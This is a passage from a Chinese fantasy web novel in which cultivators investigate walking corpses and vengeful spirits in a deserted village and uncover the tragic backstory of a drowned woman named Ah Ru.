他默默抱紧铜镜,乖乖闭上了嘴。
恰在此时,唐渡耳朵一动,食指放在唇边道:“停了。”
停了?
浓夜间,原本断断续续的低诉声消失了,只剩下乱草拂动摩挲的声音,一切都回归安静。
良久。
“吱呀”一声,沉寂被打破,原本紧闭的木门缓缓开了。
屋里出来一个女子。
这女子年岁瞧着不大,脸上挂着茫然的表情。只是她的脸色有些不大好,眼下是难藏的疲惫,身形瘦削,这身粗布衣裳在她身上略显空荡,仿佛风一吹就会倒。
她睁圆着眼,声音轻飘:“你们,有什么事吗?”
唐渡眼瞧着她,眉头微蹙,下意识去看娄弦的反应,只见她盯着女子的眼睛,迟迟没有说话。
会说话,有影子,还是个完整的人。
陈御裴松了口气,当下放松下来。
他将桃木和八卦镜重新放进怀里,笑着走上前说:“姑娘,你胆子也太大了,怎敢一个人住在这荒山野岭,出了事也无人相助。”
娄弦轻飘飘来了一句:“担心人家,不如你留下?”
陈御裴笑容一僵,转头看了看四周荒无一人,悻悻道:“我还是喜欢热闹的地方。”
娄弦看着眼前的女子不说话。
魂珠气息浓烈,东西就在她身上。
可慈女村的村民都死绝了,她留在这里做什么?
女子见几人不答话,睁圆着眼又问了一遍:“你们,有什么事吗?”
唐渡走到娄弦面前,不露声色将三人挡在身后,解释道:“我们是外来的,天黑走岔了路,寻不到出口,看这头亮着灯,这才冒昧打扰。”
女子的眼睛直溜溜看着唐渡,似乎对他的话并不怀疑:“我带你们走到村口,以后不要来了。”
说着,她转身带上门,掠过唐渡朝前走去:“你们随我来。”
这女子一路朝着村口走去,她似乎不爱说话,问她姓甚名谁,为何住在此处她都没有说话,气氛变得异常古怪。
一行人默默跟在她身后,直到女子停了脚步,她指着远处的村口说:“到了,直走就能出去。”
不等唐渡答谢,她已经转身朝黑暗处走去了。
“她也太奇怪了……”陈御裴看着她消失的背影,张嘴喃喃。
拂琵好奇:“你看出什么了?”
陈御裴理所当然道:“一个手无缚鸡之力的弱女子独自住在死过人的荒村,不是很奇怪吗?”
拂琵无话。
“是眼睛。”唐渡冷不丁插嘴。
陈御裴疑惑:“眼睛怎么了?”
“你能忍住多久不眨眼?”娄弦转身看向陈御裴。
陈御裴张嘴:“我做不到不眨眼,有人能忍住不眨眼?”
娄弦回望女子离开的方向,幽幽道:“她能。”
“从她见到我们那一刻起,她一瞬都没眨眼。
娄弦的话叫陈御裴倒吸一口冷气。
方才看着这张脸说不上的怪异,这么一说,他终于察觉哪里有些不对劲。
女人的眼睛比寻常人还要大些,眼里没有活气,与人说话时虽看着你,可目光并未聚拢,只单单将脸转向你。
陈御裴顿觉周围冷飕飕的。
他凑到唐渡身旁问:“唐道长,你还察觉到了什么?”
唐渡看着眼身后无垠夜色,静声道:“她是妖。”
“妖?”陈御裴看看身后,又看看唐渡,“既然是妖为何不把她收了?”
唐渡:“活尸和怨魂还没有结果,暂且不要打草惊蛇,我们先回去吧。”
几人回了阿含谷。
事情虽没有调查清楚,好歹也是有了眉目,几人说了一番话后便各自回房休息了。
翌日天亮,妖殿司传来消息,昨夜街上又有活尸出现,伤了不少人。
据其中一个司卫说,这回出现的活尸都是刚死去不久的,连□□都还未腐烂。
眼下活尸扰乱,闹得街上人心惶惶,还没入夜街上便没了行人,妖殿司的人更是忙的脚不离地。
小环从外边走进来,喝了口水顺顺气。
陈玉茴在一旁待她平复完,着急问:“怎么样?见到唐道长了吗?”
“小姐,外面实在是太乱了,我连唐道长的影子都没见到。”
陈玉茴蒙上一层担忧:“听御裴说,那些怨魂借着尸首回魂,见着人就咬,你说唐道长会不会有事?”
小环扶着陈玉茴坐下,安慰道:“小姐莫要担心,唐道长是有本事的,他连魇妖都不怕,这些活尸怎么会是他的对手。”
“你还是将自己照顾好了,这几日千万不要下山,安安心心等着唐道长回来。”
陈玉茴点点头,可脸上的神色并未舒缓,她抓了小环的手说:“我得再同御裴说一声,这几日就留在谷中,免得出什么岔子。”
说着,她起身准备朝陈御裴的院子走去。
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昨夜从慈女村回来后,陈御裴做了一晚上噩梦,早上醒来时神情恍惚,脑袋昏昏沉沉的。
他抓起一个包子塞进嘴里,闭着眼慢慢咀嚼:“唐道长怎么连饭都不吃就急着下山了,昨夜回来天都快亮了,他不睡觉吗?”
拂琵盛了碗五谷粥放到娄弦面前说:“昨夜东街又出现了活尸,唐道长收到消息,一早就和妖殿司的人出了门,我们给他留些吃的就行。”
正说着,唐渡从山径处走了上来。
他的道袍有些凌乱,许是经历过一番打斗,细碎的头发从额前散落,与往日板正的他相比,有些孤绝散乱。
他自然坐在娄弦身侧,正要伸手去拿木勺,一碗五谷粥推到了他面前。
他顺着碗望去。
娄弦并未瞧他,自顾吃着手中的包子说:“别看我,这粥我没喝过。”
唐渡垂了眸,低声道:“多谢。”
看他心事沉重的模样,拂琵问道:“是又多了很多活尸吗?”
唐渡点点头,咽下五谷粥后说:“活尸比前日里看到的还要多,或者说,是怨魂更多了。”
那些怨魂离了体,若不及时将它们收服,它们便会去找下一具尸体,如此反复。
而且怨魂越来越多了,今早妖殿司的人发现乱葬岗丢了好几具尸体,附近村子的坟包也丢了不少尸体。
若不及时处理这些怨魂,活尸会像灰烬飘燃,烧之不尽。
陈玉茴去找陈御裴时,正巧路过娄弦所住的客院。
她眼前一亮,正要唤唐渡,话还没说出口,眼中的光又熄灭下来。
唐渡娄弦二人坐在一处吃着早饭,口中不知在说些什么。
不得不说,娄姑娘长的确实标致,脸上虽未涂抹胭脂,可肤色白皙匀称,模样一点不比京中贵女差。
陈玉茴心中有些发酸,一时不知要不要上前。
还是娄弦率先注意到了她:“玉茴姑娘?”
陈御裴咬着包子转头:“阿姐?”
陈玉茴勉强露出一个笑,朝她们走来:“我原是想找御裴的,没想到在这碰见了。”
陈御裴给陈玉茴拿了把椅子,又替她盛了碗粥:“找我做什么?”
陈玉茴脸上露出担忧:“近日街上不是出现许多活尸吗,我怕你贪玩下山特来叮嘱你,这几日安心留在谷中,莫要乱跑。”
陈御裴笑着说:“我又不是三岁孩子了,怎还像阿娘一样整日操心我。”
陈玉茴佯怒:“这说的什么话,你是我弟弟,我自然是最挂念你的。”
娄弦捧着碗,一双眼看着姐弟俩说的有来有回,嘴角下意识扬起来。
真好。
有人挂念的感觉真好。
她笑了笑,将碗放在桌上,心中忽然觉得空落落的。
唐渡抬眼,看到娄弦细微的表情,他抿了唇,将那抹思绪掩了下去。
“我吃饱了。”娄弦起身,“我再去慈女村看看,中午吃饭不必等我了。”
她正要离开,唐渡叫住她:“我同你一起去。”
娄弦看向一旁欲言又止的陈玉茴,对着唐渡说:“唐道长,你还是留着些体力吧。”
拂琵正欲说话,娄弦打住:“我一个人去,我有别的事要处理。”
魂珠的事还没解决,去的人自然越少越好。
25. 阿汝
白天的路要比晚上好走许多,视线清晰,那些残房败屋也不似晚上瘆人,只是荒村空荡,到底是有些萧条空虚。
娄弦走到原先妖殿司所说的死湖,绿幽幽深不见底,上面黏着枝杈浮萍,还有股难闻的腐烂恶臭之气,湖里大概也没什么活物了。
死湖边上的尸体已被人清理干净,没留下什么痕迹。
娄弦抬头望去,那间屋子离死湖并不远,没几步路的功夫。
正当她起身准备朝屋子走去时,娄弦眸光一瞥:“谁在那儿?”
残屋背后,一个高大颀长的身影缓缓走出来,玄紫锦袍将他整个人衬的瑰丽凛然,不可近人。
散着淡华的眸珠若有所思看着娄弦,叹气道:“想找个只有你一人的机会,真难。”
娄弦微微扬头。
这不是上回在谷坞养伤的那位吗。
自己不去惹他,反而他找上门了。
她目光下移,看向苍邺的腰间。
苍邺肩宽腰窄,金边黑云腰带勾勒出完美的腰杆,配上剔透晶润的玉贝,连着整个腰间都精致了。
果真是好宝贝。
娄弦这才想起来:“原来玉贝说的是你啊。”
斗活尸那日,陈御裴对着某处发神,以为他是吓傻了,原是有人在那。
这人一直在跟踪自己?
娄弦摸了把高束发尾,语气有些隐隐的不快:“今日我不想跟你动手,趁我没反悔前,滚吧。”
那人不怒反笑:“你不是在查活尸案吗,我可以帮你。”
“帮我?”这回轮到娄弦笑了,“谁说我在查活尸案了,我还有别的事要做,别烦我。”
“别的事我也可以帮你。”苍邺的眼睛倏尔看向娄弦脚下,“比如现在。”
娄弦脚踝忽然一紧,一双手破土而出死死抓着她的脚踝。
她慌忙转头,一张腐烂的脸从地下钻出,随即攀附娄弦跃至地面。
他张开空洞的嘴朝娄弦扑来,娄弦面色微凉,转了音调说:“不用你帮我。”
她双手凝结,速尔飞身朝活尸砍去。
活尸不会变通,数量也不多,不过三两下功夫就将那尸体大卸八块。
正当娄弦准备回身时,耳边传来许多含糊不清的呓语声。
周遭的黄土不知何时松动了,还有什么东西在蠕动,着急着想冒头。
娄弦闪过念头:这些活尸不会都藏在地底下吧。
身体忽然往下一沉,一只脚入了土,她赶忙单手撑地将身体带了出来。
不等她缓过来,原本松动的土坑瞬间凹陷,不同腐烂程度的活尸接连从地里爬出。
白天看得是更清楚,皮肉相连,白骨森森,模样实在有些骇人。
接二连三的活尸朝她们二人扑来,娄弦穿梭于活尸之间,苍邺抬手起结:“还是帮帮你吧。”
苍邺娄弦二人攻守交接,光影轮转。
这些活尸攻击力并不强,他们只知用蛮力冲撞,见人就咬,只是那力气大的吓人。
天悲戟被牢牢钳住,娄弦用力一抽,长戟纹丝不动。
又闻身后有活尸袭来,她握住长戟一头翻身上越,一脚踹在活尸后背,胳膊被拽出,娄弦趁机一刺,一股恶臭扑面而来。
发臭的尸液溅到苍邺身上,他看着被弄脏的衣袍拍了拍,有些埋怨:“好脏。”
娄弦嫌弃的甩甩手,又见苍邺一脸固执看着自己,没好气道:“看我做什么?”
“你把我弄脏了。”
苍邺说的认真,娄弦歪了歪嘴,盯着他的眼睛走近了些,将手上的尸液一寸寸擦在他衣袍上。
“所以呢?”娄弦无畏看着他。
苍邺任由娄弦将尸液抹到自己身上,眼睛却看着娄弦手上的银戟。
他没来由问了一句:“这是你的法器?”
“怎么?”察觉到苍邺探究的目光,娄弦掌心凝力,将天悲戟收了进去。
苍邺收回目光,淡淡道:“没怎么。”
活尸被杀穿,那些离了体的怨魂又去找寻下一具尸体。
确保地上的活尸不再扰动,苍邺转身朝死湖边的屋子走去。
像是知道这屋子住了人,苍邺推门而入,对身后的娄弦道:“人不在。”
明明昨夜来村子的只有他们几个,可他却像什么都知道似的。
“你果真在跟踪我。”娄弦进屋。
屋内陈列着破旧家具,桌上还放着碗筷,像是一家三口刚准备吃饭,那些饭菜早已被厚重的灰尘掩埋,分不清到底是什么东西。
床铺凌乱,被子胡乱叠在一侧,又潮又重,伸手一摸便是厚厚灰渍,这样的地方竟然会有人住。
她捻了上边的灰渍,语态有些不客气:“想做什么?”
苍邺似没有听见,自顾打量了周围,转了话语道:“看着不像是住人,倒像是守着什么。”
娄弦不依不饶,拦了他的去路:“仇家?”
她的仇家各个想要她死,追着她杀的不少,可对眼前之人娄弦却没有一点印象。
苍邺带着调侃的语气:“你有很多仇家?”
娄弦瞥了他一眼,朝里走去。
“还行吧,也就千百来个。”
昨夜没有进屋,有些东西只看了大概,眼下细细一察,屋子里根本就没人住人的痕迹,昨夜看见的女子更像是个幻觉。
朝里走去,卧房后边还有一个小隔间,隔间内置一案台,上边放着铜鼎香炉,香炉内几只烛香已经燃到底,积起一层炉灰。
这小隔间与外边所有都不同,干净整洁,连案台都被擦拭的一尘不染,整个房舍也就这间屋子有活人的痕迹了。
顺着香案往上,娄弦的目光停在了案台中央。
那是一块朱红灵牌,上面刻了三个字:祭阿汝。
这灵牌写的简洁,既没有逝世日,也没有其生时,说是灵牌,看着更像是个念想。
“阿汝。”身后进来的苍邺轻念,“听着像是个女子的名字。”
娄弦又开始打量这间屋子。
她环顾一圈四周,发现这个屋舍的东西都没有被带走。
昨夜天黑,看得不清,娄弦现在才记起,这一路走来,整个村子似乎只有人消失了,里面的东西通通都保留着,就好像主人出了趟远门,不过几日就回来了。
她心中划过疑虑,又看向那朱红灵牌。
“阿汝。”娄弦又细品了一遍。
苍邺伸手拿起那灵牌仔细端详,牌面瞧
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着有些岁月了,可刻字上的金漆却是新描的。
“有人很在意这个阿汝。”娄弦看着灵牌说,“怕她被遗忘,所以一遍又一遍描新。”
“谁在意阿汝?”苍邺将灵牌放在原本位置,转头看向娄弦,“谁又是阿汝?”
苍邺的瞳孔很淡,像一枚剔透的宝珠,此时他就站在娄弦面前,静静望着她。
娄弦看了他一眼,转身朝隔间外走去:“不知道。”
其实她心中隐隐有个猜想。
昨夜那个女子住在里面,可这屋子根本就没有住人的痕迹,连床单被褥都是厚重粘潮的。
正如苍邺猜测,与其说她住在里面,倒不如说她守在里面,至于守着什么,那块灵牌已经给出了答案。
她在守一个叫阿汝的女子。
娄弦走到屋外,看着那片死湖思索起来。
阿汝和昨夜的女子是什么关系?和这些活尸怨魂又有什么联系?阿汝,又是怎么死的?
“你为何不问问她?”苍邺的声音从背后传来。
娄弦循声抬头。
不远处有一人跌跌撞撞走来,她似受了伤,步履有些虚浮。
待走得近了,娄弦这才看清,正是昨夜所见到的女子。
只听一声凄厉惨叫,女子跌倒在地,身后之人趁机给她一击,女子呕出一口腥血,那人是要将她置于死地!
娄弦心道不妙,一个箭步上前替她挡下,又顺手揽起女子的腰,朝后一移,稳稳站定。
女子受了重伤,整个人无力耷在娄弦肩上,娄弦眉头微蹙,低声问:“你没事吧?”
女子摇摇头,刚才那一击叫她彻底说不出话了。
娄弦抬头望去,追杀之人戴一银白面具,看不见他的五官,连头发都被斗篷裹了个严实。
面具下那双眼睛正盯着娄弦,似乎在打量她,本以为他还会继续强攻,没成想银面男停留一会儿后就消失离开了。
眼下情况特殊,也顾不得上面的污渍灰垢,娄弦将女子带进屋放到床榻之上。
女子面露痛苦,嘴角挂着尚未干涸的血迹,可偏偏那双眼睛眨也不眨,一动不动望着前方,看起来格外怪异。
娄弦转头问苍邺:“会疗伤么?”
苍邺莫名反问:“你不会?”
她不会救人的术法。
上回拂琵受伤是唐渡救的,这回她也帮不上什么忙。
娄弦理直气壮道:“对,没救过人,不会。”
床榻之人的气息有些浅了,苍邺没有反驳。
一股轻柔之力滑过伤口,女子痛苦的神色缓和下来,只是脸色依然虚弱。
待女子清醒过来,娄弦开口问:“怎么称呼?”
她犹豫半晌,虚浮的声音从喉间发出:“……青鲤。”
青鲤?
娄弦又细看起女子的表情,那双眼睛直愣愣睁着,始终没有眨眼。
想起刚才在隔间看见的灵牌,又问:“阿汝是谁?”
原本木讷的神色忽然有了触动。
青鲤将头一偏,似乎是透过石墙在看里面的灵牌。
“阿汝,是个很漂亮的姑娘。”
“她的漂亮,她女子的身份,叫她变成了湖底的沉尸。”
26. 阿汝(二)
阿汝自小就生活在这慈女村,她生的貌美,村子里有不少人心悦她,想娶她为妻,可阿汝都瞧不上眼。
她喜欢刺绣,想离开慈女村去京都瞧瞧,听说那里有最好的绣娘,她想学一门正经手艺。
可家里需要干农活的人,还有个弟弟要照顾,阿汝离不开慈女村。
直到一天有个鳏夫找上门,他垂涎阿汝的美貌已久,愿意给一大笔钱将阿汝娶回家。
阿汝宁死不屈,可她的父母却为了这笔钱将阿汝送到了鳏夫怀里,只因他们的小儿子到了娶妻的年纪,家里拿不出那么多银两。
拿女儿的幸福换儿子,这笔买卖划算。
生米煮成熟饭,阿汝好几次想寻死,可鳏夫拿她的家人做威胁,久而久之,阿汝认命了。
日子艰涩,可人还得活,更何况阿汝有了身孕,腹中的胎儿便成了阿汝唯一的念想。
她为孩子准备好一切,满心欢喜等待孩子的来临。
只可惜,这是个女孩。
而鳏夫一家想要的,是个儿子。
某夜,趁阿汝熟睡,他们将这个还未满月的孩子丢进湖里,正被半夜惊醒的阿汝撞个正着。
她近乎昏死过去,醒了哭,哭了醒,整个人疯疯癫癫,鳏夫瞧着心烦,便对她拳脚相向。
村子里所有人都知道这件事,包括阿汝的父母,可他们什么也没说,只怨阿汝命不好,生不出儿子。
阿汝的神情开始涣散,总是跑到湖边去找孩子,结果在那天,她在湖边受辱了。
做恶的正是鳏夫的表亲,他在第一次见到阿汝时便心生歹念。
此事在村子里传遍了,那男子只说是阿汝勾引的他,所有人都当阿汝水性杨花,没有一个人愿意听她辩解。
事后,为了村子的声誉,阿汝沉湖。
再没人提起这个不守妇道的女人。
青鲤黑色的瞳仁掀起滔天愤恨,不知是情绪所至还是为此不甘,她蓦然呕出一口黑血!
她的表情痛苦又扭曲,似在极力与什么抗争,团团黑气在其周身围绕,青鲤青筋突起,目眦欲裂。
娄弦忽感不妙,赶忙上前询问。
她托起青鲤冷汗涔涔的脸,满脸焦急:“喂,你没事吧?你怎么了?”
不等青鲤应答,整个人便昏死过去了。
娄弦不知发生了什么,下意识想将她扛在肩上,谁知一双手接过青鲤的身体,顺势背在肩头。
“我来吧。”苍邺说的轻描淡写,又见娄弦愣在原地,招呼道,“还救不救她了?”
“救啊!”娄弦追了上去。
即便要青鲤身上的魂珠,也得让她把话说完再死啊!
二人急匆匆赶回阿含谷,什么千层阶,什么阿含谷的规矩都不顾。
柳式通在饲药司炼药,阿正急匆匆跑进来:“谷主,谷坞那位——”
“他又不行了?”柳式通放下手中的药材,连手都来不及擦就往谷坞跑去,“我这药还没送呢!”
“不是不是。”阿正着急摆手,“他带着个人,和西院那位病客一起——”
阿正说了半天,柳式通这才听明白。
谷坞那位和西院的病客带了个人回来,还是个快濒死之人。
这二位怎么又碰到一起了,前几日不是还大打出手吗?
来不及多问,柳式通赶忙跟着阿正朝西院走去。
娄弦客卧,青鲤躺在床上,周遭的黑气比刚才更剧烈了些。
青鲤痛苦低吟着,指尖泛白,一双手死死抓着床边,额前汗渍更是打湿大片。
拂琵一边替她擦汗,一边焦急:“她这是怎么了?怎如此痛苦?”
方才在来的路上,青鲤不断呕出黑血。
起初娄弦以为是方才被人所伤,可周围越来越浓重的黑气,娄弦这才意识到是青鲤体内涌出来的。
唐渡凝神,心中有了不好的猜测:“她体内——”
“怎么了怎么了?”柳式通着急忙慌赶来,看着青鲤周围缭绕的黑气,忍不住倒吸一口凉气,“这是……”
唐渡接道。
“怨魂。”
……
屋内,几盏烛灯散着昏黄的光芒,照的每个人都心事重重的。
没有人说话,娄弦率先开口问拂琵:“她怎么样了?”
拂琵指了指桌上剩了大半的米粥,叹了口气:“连粥都喝不下,吃一半吐一半。”
众人陷入沉默。
柳式通在一旁捋着下巴的胡子,脸上是从未见过的愁容:“我恐怕,束手无策了……”
见柳式通也无计可施,陈御裴从一旁跳出来道:“柳叔,这世上还有你治不了的病?您别谦虚啊,再想想办法,您一定有办法的!”
陈玉茴有些于心不忍:“她瞧着年岁比我们大不了多少,她身上到底出什么问题了?柳谷主您说出来我们也能帮忙的。”
一旁一直未说话的唐渡忽然插了嘴:“她体内剩余百只怨魂快困不住了。”
唐渡话音一落,陈御裴面露震愕。
他以为是自己理解错了意思,磕磕绊绊道:“你是说,她体内困了许许多多的怨魂,而我们在傩戏那日看到的怨魂,是从她体内跑出来的?!”
娄弦并不否认,还顺着陈御裴的话说:“不仅如此,这些跑出来的怨魂,又回到了死去的慈女村村民身上,变成了活尸。”
青鲤困了太多怨魂,身体早被怨气穿透,所以那些怨魂才有机会从她体内跑出。
柳式通摇了摇头:“所有怨魂离体后,这姑娘的身体就像被侵蚀的布袋,兜不住魂,聚不住气,活不了多久。”
更何况以青鲤现在的身体,这么多怨魂,她根本困不住,迟早得跑出来,到时候所面临的麻烦可就是真正的大麻烦了。
所以人都想到了这一点,都沉默没有说话。
忽然有人开口:“把怨魂引出来。”
娄弦将目光从烛火上移开,转而看向众人。
陈御裴的声音慢慢低了下来:“若是体内的怨魂引出来,她是不是……”
“是。”娄弦答的干脆,“她会死。”
“这是不是太残忍了些。”拂琵于心不忍。
这和将人杀死有什么区别。
“可怨魂在她体内,她也会死。”娄弦的声音清冷下来,“更何况她现在很痛苦。”
将充满怨气的魂魄强行困在体内,日夜用精气压制,日复一日,这是在透
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支自己的身体。
如今已有怨魂冲破禁锢祸乱百姓,余下那些怨魂破体而出是迟早的事,青鲤受怨魂折磨,何其痛苦。
在慈女村,娄弦见青鲤生不如死的模样,心中不知为何总有些难言。
她承载怨魂这么久,时刻要与之对抗,在生命的最后一刻,为何还要痛苦死去。
这回所有人都没有说话。
唐渡打破沉寂:“柳谷主,真的没有办法了吗?”
柳式通叹了口气,摇摇头。
这怨魂在她体内困了三年啊,整整三年,这其中的折磨苦楚,想必只有青鲤自己知道。
在余下百只怨魂完全跑出来之前,也只有这一个法子。
“可是……”陈玉茴的声音再次响起,“谁来收这怨魂呢?”
魂魄一事不由妖殿司的人来管,即便收了这怨魂,又该如何处置?
娄弦脑海中浮现一人:“我倒是想到个人。”
“谁?”唐渡率先发问,“你有办法?”
娄弦垂眸饮了面前的余茶:“不确定行不行。”
她将茶放下:“妖殿司那边可有新消息?”
唐渡道:“倒是打听到了些王贵的消息。”
那日,王贵在外喝了一夜的酒,酒醒之后才回村。
他像往常一样叫自己的婆娘,可没有人应他,喊了几声后,他没了耐心,抬手将门推开,这一推可把他吓傻了。
自己的婆娘倒在了地上,身体发僵,早已没了呼吸。
王贵大惊,赶忙跑到村子里去叫人,可喊了半天,始终没有人出来,村子静谧的可怕,这个时候怎么会一个人都没有。
他察觉到不对劲,又跑到隔壁邻里去看,嘴还没发出声音,身子先惊倒在地。
隔壁一家三口都倒在了餐桌上,一副死不瞑目的样子。
王贵跌跌撞撞站起来,发疯似的挨家挨户去看,每看一户腿就软一分,恐惧从脚尖攀附至脑门,王贵终于意识到,这个村子没有活人了,都死绝了。
他以为醉酒在外逃过一劫,可当天晚上就有人发现他死在了酒楼,与村子里其他人不同,王贵死相惨绝,断了四肢,鲜血流了满满一地!
这下,慈女村是真的都死绝了。
“听妖殿司的人说,王贵从村里跑出来的时候和疯了一样,嘴里不停嚷嚷着阿汝回来报仇了。”唐渡道。
“这个阿汝是何人?”拂琵困惑。
娄弦沉默半晌,将白日青鲤说的话又说了一遍。
听罢,陈御裴怒而拍桌:“真是死不足惜!若我是阿汝,我就是化成厉鬼也不让他们好过!”
拂琵也附和:“怪不得镇上的百姓说慈女村多数都是男丁,来镇上做买卖的也都是男子,极少见女子出门。将刚出生的女娃娃沉湖,哪里还有女子嘛!慈女守村,这些人死的不冤枉!”
几人有一处没一处的指责,娄弦起身朝外走去。
唐渡将她叫住:“去哪儿?”
娄弦转头,看见陈玉茴的眼睛在自己和唐渡身上打转,将原先要说的话咽了下去:“找人帮忙收怨魂啊。”
见娄弦离开,柳式通一拍脑袋:“我也得走了,忽想起来今日还有药没送。”
27. 犯病
上回误打误撞进了谷坞,这回再要去寻却不容易。
娄弦在阿含谷兜兜转转转寻了半晌,直到周边的灵气充沛起来这才找到入口。
她不确定苍邺能否帮上忙,可他出手不凡,瞧着又不像一般人,多一个人多份力量,总归试试。
谷坞没有点灯,唯有月光照亮一方天地。
娄弦抬手叩门,屋子里静悄悄的。
这是睡了?
“有人吗?”娄弦喊了两声,屋内依然没有声音。
“我进来了。”
娄弦推门而入,一股药草香扑面而来。
屋内漆黑一片,月光透来,灯烛燃尽无人续上,桌上的书案凌乱一片。
东面窗户大开,夜风肆意吹动床榻掀落的帘幔。
案头雕花青铜不知燃的什么香,烟缕袅袅。
好安静。
娄弦站在原地,努力看清床榻之上。
帷幔轻掀,露出一角,又被风吹掩,床榻空空如也。
没有人?
夜风带进窗外桂香,地面投下一片阴影,是有人在悄然靠近。
娄弦微微侧目,手中已悄悄凝力。
人影相撞,陡然掀起床幔,又如叶瓣飘然落下。
娄弦目色一紧,手腕被人擒至头顶。
夜色融融,腰下软垫被撞开,面前有温热气息喷来,外头秋桂抖落一地。
床幔映出二人交叠身影,娄弦惊愕抬头。
话还没骂出口,苍邺克制微喘的声音传来。
“怎么办,被你看到了。”
他将娄弦压至身下,充血的眼睛牢牢盯着娄弦。
衣襟敞开,露出宽大的前肌。
自脖间往下,连带着胸前胳膊,苍邺血脉凸起,隐约还能看见黑色蠕虫在挪动,简直可怖极了!
他大概很痛苦,抓着娄弦的手腕有些发紧,似乎要将体内的疼痛发泄出去。
“你——”娄弦欲挣扎,苍邺五指一压,生生将娄弦抬起的胳膊压了下去。
体内毒虫肆意游窜,娄弦看在眼里,想起上回柳式通说的话。
“当初我救下他时,体内全是寄生的毒虫,它们食肉噬骨,再晚些恐怕就只剩躯壳了。”
没想到这么严重。
苍邺喉间发出不可抑制的闷哼,抓着娄弦的手青筋四起,他仍在与体内的毒虫对抗。
娄弦忽然忘了挣扎,二人就这么相互僵持着。
许是意识占了上风,苍邺抓着娄弦手腕的五指微微松了松,却未完全放开。
娄弦转动眼珠。
苍邺额前是疼痛逼出的汗渍,顺着颈间向下,衣衫被打湿。
胸腔随着轻喘浮动,娄弦面前全是苍邺的气息。
她忽然觉得喉咙有些发紧。
——笃笃笃
“苍公子,今日的药来了。”小童在外端着药叩门。
床榻之上,二人四目相对。
苍邺脸色惨白,哼哧着粗气,整个人宛若从水里捞起来。
身上的毒虫在皮下蠕动,看起来格外骇人。
“来了。”娄弦推开身上之人,镇定自若将门打开。
见到娄弦刹那,小童惊讶万分,又眺眉朝里望去。
娄弦将门微掩,用身子挡住里面的光景。
“给我吧。”
她伸手接过小童的药盘,转身将门阖上。
苍邺仰天躺在榻上,衣衫半开胸口起伏,一双手紧紧握拳撑在身旁。
娄弦走到他身侧,拿起药碗正要喂他,一只手忽然擒住娄弦腕间。
苍邺挣扎着坐起,目光紧逼,他什么也没说,充血的眼睛就这么看着娄弦。
娄弦顿了半晌,启唇与他道:“秘密。”
腕间的力量松了,苍邺单手垂落,像一只乖犬凑到娄弦面前,慢慢把碗里的药喝了,谁也没提刚才发生的一切。
柳式通的药见效很快,苍邺体内的毒虫逐渐消了下去。
他的身体仍有些虚弱,一手搭在弯曲的膝盖上,无力垂头。
原本高束的头发如墨瀑散落在肩头,因浸了汗水,有几缕黏在脸上。
“这下你发现我的秘密了。”他怪笑一声,抬着微润的眸子看向娄弦,“是不是很可怕?”
娄弦站在不远处。
屋内没有点灯,看不清她的表情。
她声色平静道:“你不是也知道我的秘密么?”
初次在谷坞相遇,苍邺就把她猜了个完全,那时她还对他毫不知情,娄弦还为此出手了。
“眼下公平了。”娄弦语气轻松,自顾找了位子坐下。
苍邺突然笑出了声,大概是对这个解释很满意。
“嗯,也对。”他将头往后一仰,若有所思盯着床幔,“你为什么魂魄不全?”
“你为什么会有毒虫在体内?”娄弦不答反问。
二人四目相对,谁也没有给彼此答案。
所谓秘密,便是人心中最不想告知别人的东西。
双方都没有再追问下去。
苍邺突然道:“谢了。”
刚才小童来送药,娄弦将门微掩,那抹红色的身影就挡在他面前,隔绝了旁人的目光。
娄弦也不客气,接了他的谢说:“既然要谢我,可否帮我一个忙?”
苍邺并不多问,只道:“什么忙?”
娄弦将方才几人的讨论说了一遍。
“青鲤体内困了百余之怨魂,你可有引魂之法?”娄弦问。
苍邺起身下床。
刚才出了许多汗,眼下有些渴。
他坐到娄弦旁边,倒了一杯水:“没有。”
“当真?”娄弦有些不相信。
姓苍的修为如此高深,身份莫测,怎么瞧都不像是个普通病客。
“当真。”茶盏落,苍邺抬了星眸看她,模样并不像是在说谎。
“行。”娄弦爽快起身。
本也就是来碰碰运气,若他真没有法子,只能另寻出路了。
既然没什么事,娄弦也不多留,免得他一会儿又犯病将她拉到床上。
手腕上的红印还不知该怎么向拂琵解释。
正当她开门而出时,然后之人忽然叫住了她:“不成楼。”
不成楼处黄泉和天界相交处,各分六层,六层亦分三道,是人死后唯一的分水岭。根据生前善恶,来判定入哪层去哪道,投什么胎。
层中有判官,道中有守官,这些官差都听命于鬼娘娘步莲。换句话说,步莲是不成楼最高层,一切事由她说了算。
至于六层三道,生前行善积德者,往上六层;无功无过者,往平六层;恶贯满盈者,往下六层
上六
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层者,得道成仙,在天界谋个一官半职,受人间香火供奉。
平六层者,转人道,恩怨相报,苦难福寿,皆由上世福报轮回定夺。
下六层者,轻则转畜生道,永世不得入人道,重则为黄泉恶鬼所食,终不可见天日。
凡人死后,他们生前所有的经历都会一一记在命签上,由命签判定该入哪层去哪道,包括生在何时何地,又死于何时何地,一生行过什么善事,又做了多少恶事,此生富贵亦或穷苦等等。
所以引怨魂的事交给不成楼阴差最合适。
只不过……
“你认识不成楼的人?”娄弦问。
苍邺道:“我与步莲是故友。”
步莲是苍邺生平为数不多的好友之一,在那件事发生之前,他们经常喝酒游玩。
苍邺是不成楼的常客,步莲也时常去闇狴城找苍邺讨酒喝。
九巨山脉重伤之后,苍邺被柳式通救下,便一直留在谷中养伤,隐去行迹。
“若你需要,我倒是可以帮这个忙。”苍邺的精神恢复些,脸上显了血气,撑着脑袋看着娄弦。
“需要啊。”娄弦毫不犹豫应下。
既有这个人脉,为何不用起来?
可苍邺却犹豫起来。
他撑着脑袋,四指轻轻点着桌面,一副若有所思的模样:“我有什么好处?”
好处?
娄弦忽然笑出了声:“你问我讨好处?”
她指了指床案上的空碗:“秘密。”
苍邺显然不吃这一套,他伸出修长手指,指了指娄弦本身:“秘密。”
你替我守了秘密,我也替你守了秘密。
这不算好处。
他想要点别的。
娄弦仰天长叹一口气。
做好人真难啊,刚才就该把那药洒了。
横竖有难的不是她,青鲤死了,正好能神不知鬼不觉夺回魂珠。
正合她意。
“你请便。”娄弦微微一笑,转身朝外走去。
这世上还没有谁能从她身上讨得好处,为了一个毫不相干的人,不值当。
她离开谷坞朝西院走去,越走脚步越慢。
阿汝,青鲤,困在体内的怨魂……
跟优柔寡断的人待久了,连自己都变得优柔寡断起来。
娄弦低骂一声,转身朝谷坞走去。
屋内苍邺正静静喝水,连屋门都没有关,像是料定娄弦会回来,他嘴角勾了勾。
“打算给我什么好处?”
娄弦一把夺过苍邺手中的茶盏,闷头饮下。
苍邺怔神:“这茶盏我喝——”
